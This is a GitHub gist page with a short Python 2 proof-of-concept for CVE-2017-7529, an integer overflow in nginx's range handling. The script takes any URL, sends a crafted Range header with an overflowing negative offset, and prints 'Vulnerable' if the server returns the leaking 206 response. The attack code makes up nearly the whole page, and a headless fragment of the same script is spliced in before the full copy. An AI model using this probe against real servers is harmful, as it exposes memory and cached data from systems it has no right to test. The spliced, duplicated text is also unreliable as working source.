Skip to content

Instantly share code, notes, and snippets.

@wbsdty331
Created March 6, 2018 15:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wbsdty331/514ebb6b273904bf2f33465eb3f44c02 to your computer and use it in GitHub Desktop.
Save wbsdty331/514ebb6b273904bf2f33465eb3f44c02 to your computer and use it in GitHub Desktop.
CVE-2017-7529 poc
url = sys.argv[1]
headers = urllib2.urlopen(url, timeout=10).headers
file_len = headers["Content-Length"]
request = urllib2.Request(url)
request.add_header("Range", "bytes=-%d,-9223372036854%d" % (
int(file_len) + 623, 776000 - (int(file_len) + 623)))
try:
cacheres = urllib2.urlopen(request, timeout=10)
if cacheres.code == 206 and "Content-Range" in cacheres.read(2048):
print "Vulnerable:" + url
except:
pass#!/usr/bin/env python
# coding:utf-8
import sys
import urllib2
if len(sys.argv) < 2:
print "%s url" % (sys.argv[0])
print
print "eg: python %s http://127.0.0.1:8080/proxy/demo.png" % (sys.argv[0])
sys.exit()
url = sys.argv[1]
headers = urllib2.urlopen(url, timeout=10).headers
file_len = headers["Content-Length"]
request = urllib2.Request(url)
request.add_header("Range", "bytes=-%d,-9223372036854%d" % (
int(file_len) + 623, 776000 - (int(file_len) + 623)))
try:
cacheres = urllib2.urlopen(request, timeout=10)
if cacheres.code == 206 and "Content-Range" in cacheres.read(2048):
print "Vulnerable:" + url
except:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment